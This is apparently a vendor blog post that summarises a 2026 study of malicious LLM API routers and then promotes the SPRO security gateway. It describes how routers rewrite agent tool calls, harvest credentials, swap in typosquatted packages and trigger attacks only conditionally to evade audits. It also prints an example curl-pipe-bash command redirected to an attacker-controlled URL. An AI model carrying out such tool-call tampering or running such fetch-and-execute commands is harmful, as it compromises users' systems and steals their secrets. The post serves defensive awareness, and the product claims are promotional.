Artificial Intelligence agents no longer just answer questions. They write code, run shell commands, install packages, call APIs, and take autonomous action on behalf of the people and organizations that deploy them.

But a recent academic study is a reminder that the weakest link in this new agentic stack often isn't the model itself.

It's the infrastructure quietly sitting between the agent and the model, the API router.

A 2026 research paper titled Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chainpresents the first systematic study of this attack surface. The findings are worth taking seriously: routers that agents trust by default are, in measurable numbers, actively rewriting tool calls, stealing credentials, and evading detection.

What Is an LLM API Router, and Why Does It Exist?

Very few production agent systems talk to a single model provider directly. Instead, most route requests through an intermediary that offers:

• Access to multiple providers (OpenAI, Anthropic, Google, and others) through one unified API
• Load balancing and automatic failover
• Cost optimization across providers
• A single API key and billing plane

Tools like LiteLLM and OpenRouter dominate this space, and a large secondary market of paid and free router resellers has grown around them, particularly in regions where direct provider access is restricted or expensive.

The convenience is real. So is the exposure.

SPRO exists as an alternative to routers like OpenRouter, one built with AI guardrails enabled by default rather than bolted on as an afterthought, so routing convenience doesn't come at the cost of blind trust in the intermediary.

The "Router in the Middle" Problem

Unlike a traditional network proxy that can pass encrypted traffic through untouched, an LLM API router terminates the client's TLS connection, reads the full plaintext request, and then opens a new encrypted connection to the upstream provider. It does the same in reverse for the response.

That means the router sees everything: system prompts, tool definitions, API keys, user data, and every tool call the model returns.

The researchers call this the Router in the Middle (RITM) problem. It isn't an accidental intruder, It's a component the developer deliberately configured as the API endpoint, and no provider today cryptographically signs its tool call output. So there is no way for the client to confirm that the JSON tool call it receives is actually what the model generated.

From that seat, a malicious or compromised router can:

• Read API keys, credentials, and private user data
• Modify the arguments of a tool call
• Fabricate entirely new tool calls the model never suggested
• Drop security relevant instructions before they reach the model or the client

This is especially dangerous for agentic workflows, where a model's tool call is often executed with little or no human confirmation. If a router silently rewrites that JSON on the way back, the client ends up running the attacker's intent while believing it followed the model's.

One Bad Hop Is Enough

The risk isn't limited to a single router sitting between an agent and a model. In practice, requests often pass through a chain of routers, each one re-selling or re-routing traffic to the next, before finally reaching a provider like OpenAI, Anthropic, or Google.

This is the part of the paper that makes the threat feel bigger than "just pick a trustworthy router." In the diagram above, Claude Code and Codex both route through R1, which forwards to a compromised router, R4, controlled by an attacker. R4 doesn't need to touch OpenAI, Anthropic, or Google directly. It only needs to sit somewhere in the return path. Once it does, the tampered response flows back through R1 and lands on the client as if nothing happened, shown here as a Bash command silently rewritten to pull from an attacker controlled URL.

Meanwhile, agents routed through an entirely different path, R2 to R5, are untouched. Same ecosystem, same model providers on the other end, completely different outcome, decided entirely by which routers happened to be in the chain.

This is the paper's weakest link property in action: a chain of routers is only as trustworthy as its least trustworthy hop, and the client has no way to see past the first one it configured. Everything downstream is invisible.

It's also why choosing a single reputable looking router isn't a complete answer. A router can be honest today and still forward traffic through a weaker relay tomorrow, especially in the resold and aggregated router markets the paper studied. The next section breaks down exactly what a router in that position, malicious or simply compromised, can actually do to a tool call in transit.

A Taxonomy of Attacks

The paper formalizes malicious router behavior into two core attack classes and two evasion variants.

AC 1: Response Side Payload Injection

The most direct attack. When the model returns a tool call, for example a Bash command, the router rewrites part of the argument before the client sees it. The JSON structure and tool schema stay valid, so nothing looks broken.

Example:

The model instructs the agent to run:

curl -sSL https://get.example.com/cli.sh | bash

The router quietly swaps the domain for an attacker controlled endpoint before delivery:

curl -sSL https://attacker****.sh | bash

The agent trusts the router and runs it anyway.

AC 2: Passive Secret Exfiltration

Here the router does not touch anything. It just reads. Since it already has plaintext access to every request and response, it can scan for patterns like OpenAI keys, AWS credentials, GitHub tokens, or private cryptographic keys, and harvest them silently. No rewriting, no visible change in behavior, and no way for the client to notice.

AC 1.a: Dependency Targeted Injection

A more surgical version of payload injection aimed at package installs. Instead of an obvious URL swap, the router substitutes a legitimate dependency name with a lookalike, attacker registered package (typosquatting), for example turning requests into reqeusts. The surrounding command looks unchanged, so it slips past simple domain based allowlists, and the compromised package gets cached locally, giving the attacker a foothold that outlives the session.

AC 1.b: Conditional Delivery

The most evasive variant. Rather than tampering with every request, the router waits for a trigger, such as a request count threshold, a specific tool being used, a keyword like "production," or a session running in fully autonomous, auto approve mode. Everything looks clean during a short audit or probe, and the attack activates only for high value, real world sessions.

One router observed in the wild waited for 50 prior requests before injecting anything. Another activated only for autonomous sessions targeting Rust or Go projects.

The Numbers: This Is Already Happening

The researchers purchased 28 paid routers from marketplaces such as Taobao, Xianyu, and Shopify storefronts, and collected 400 free routers from public communities. They then routed real agent traffic through each one inside a sandboxed environment.

The results:

• 1 paid router and 8 free routers actively injected malicious code into tool calls
• 2 routers deployed adaptive evasion triggers designed to dodge shallow audits
• 17 free routers touched researcher planted AWS canary credentials, showing follow on unauthorized use
• 1 router drained funds from a researcher owned Ethereum wallet after the private key crossed it in transit

Two "poisoning" experiments made the risk even clearer. The team deliberately leaked a researcher owned OpenAI key on forums frequented by router operators. That single key generated 100 million tokens across downstream sessions it had no business touching. Separately, the team deployed intentionally weak relay decoys, which were absorbed into the wild router ecosystem within days, ultimately routing roughly 2 billion tokens and exposing 99 distinct credentials across 440 different coding sessions. Nearly all of those sessions were command injectable, and the large majority were already running in fully autonomous mode, meaning tool execution was auto approved with no human check.

The researchers also built their own proxy, called Mine, to test how today's popular agent frameworks, including Claude Code and Codex, respond to tampered tool calls. None of the frameworks tested implemented any response integrity verification, and payload injection succeeded 100% of the time, with negligible added latency. From the agent's point of view, a tampered response is indistinguishable from a legitimate one.

Why Client Side Defenses Are Not Enough

The paper evaluates three defenses developers can deploy today without waiting on providers.

Policy gates that block tool calls hitting non allowlisted domains or installing unapproved packages are effective against blunt attacks, but a determined attacker who hosts a payload on an already allowlisted domain bypasses them entirely.

Anomaly screening using machine learning risk scoring catches a majority of blunt injection attempts, but is far less effective against surgical dependency substitution and conditional delivery attacks, and it comes with a real false positive cost.

Transparency logging does not stop an attack, but it preserves the forensic trail needed to understand what happened after the fact.

The paper's conclusion is direct: these mitigations reduce exposure, but none of them can prove that the tool call the client executes is actually the one the model produced. That requires cryptographic, provider backed response signing, something no major provider currently offers.

Where SPRO Fits: Security as a Design Principle, Not an Afterthought

This is exactly the gap SPRO was built to close.

Most commodity routers, including the free and resold ones studied in the paper, treat routing purely as a transport problem: get the request from A to B, optimize cost, keep it fast. Security is an afterthought, if it exists at all. That is precisely why the paper found injection and credential theft baked into the ecosystem.

SPRO is built as a unified AI gateway and security platform, not just a routing layer, and several of its core capabilities map directly onto the attack classes in the paper.

Real Time Prompt and Response Inspection

Every prompt and every returned tool call passes through SPRO's inspection layer instead of being blindly relayed. This directly addresses AC 1 and AC 1.a: a tool call is validated rather than trusted by default, closing the exact gap that let the researchers' own proxy achieve a 100% injection success rate against unprotected frameworks.

PII, PHI, and Credential Masking

SPRO detects and masks sensitive data such as API keys, cloud credentials, source code, and confidential business information before it ever leaves the organization's environment. This addresses the same plaintext visibility problem that makes AC 2, passive secret exfiltration, possible in commodity routers. Data that never crosses the wire in its original form cannot be silently harvested in transit.

Prompt Injection Detection

Just as the paper's threat model covers routers fabricating or rewriting tool calls, SPRO screens incoming prompts and outgoing responses for injection patterns, adding a layer of scrutiny that a bare pass through router simply does not have.

Observability and Policy Enforcement

SPRO gives teams centralized visibility into what is actually flowing through the gateway, which is the same principle behind the paper's transparency logging defense, but proactive rather than purely forensic. Instead of discovering a compromise after a credential shows up abused elsewhere, teams can see and govern traffic as it happens.

Model Agnostic, Consistent Protection

Because SPRO sits as a dedicated gateway in front of any LLM provider, rather than functioning as a resold, opaque relay, it avoids the "transitive trust" trap the paper describes, where a router that looks reputable is quietly forwarding traffic through a chain of weaker, opportunistic intermediaries.

None of this replaces the long term fix the paper calls for: provider signed response envelopes that let a client cryptographically verify a tool call came from the model unaltered, similar in spirit to how DKIM verifies email or how Sigstore verifies software provenance. That has to come from the model providers themselves.

But until it does, the practical difference between a router that treats itself as a security boundary and one that treats itself as a dumb pipe is exactly the difference the paper's numbers illustrate: the gap between 9 out of 428 routers actively attacking their users, and a router architected specifically so that gap does not exist.

Key Takeaways

• LLM API routers sit in a position of near total trust, with full plaintext access to prompts, tool calls, and credentials, and no cryptographic mechanism today verifies that a tool call reaching the client is unaltered.
• Real world measurement found malicious behavior in both paid and free router markets. This is not a theoretical risk.
• Even routers that start out benign can be pulled into the same danger zone through leaked credentials or weak relay chains further upstream.
• Autonomous, auto approving agent modes dramatically raise the stakes, since a single tampered tool call can execute without any human check.
• Client side defenses such as policy gates, anomaly detection, and logging help today but are not a substitute for infrastructure that treats security as a first class design goal.

The Bigger Lesson

The findings in "Your Agent Is Mine" are not evidence that agentic AI is inherently unsafe. They are a reminder that as agents move from answering questions to executing actions, the infrastructure carrying those actions matters just as much as the model producing them.

As AI becomes the interface for enterprise and developer work, the question organizations need to keep asking is simple:

What happens to a tool call, a credential, or a prompt between the moment it is generated and the moment it is executed?

Because in the age of autonomous agents, securing the routing layer is just as important as securing the model.

🚀 Explore SPRO

Ready to secure your AI infrastructure end to end?

Learn how SPRO protects agentic AI traffic across any LLM provider with real time inspection, intelligent masking, policy enforcement, and enterprise grade security.

🌐 Learn More

• 🛡️ SPRO Product: https://spro.hridaai.com/
• 📚 Technical Blogs and Research: https://www.hridaai.com/blogs/spro

Protect your prompts. Protect your routers. Protect your enterprise.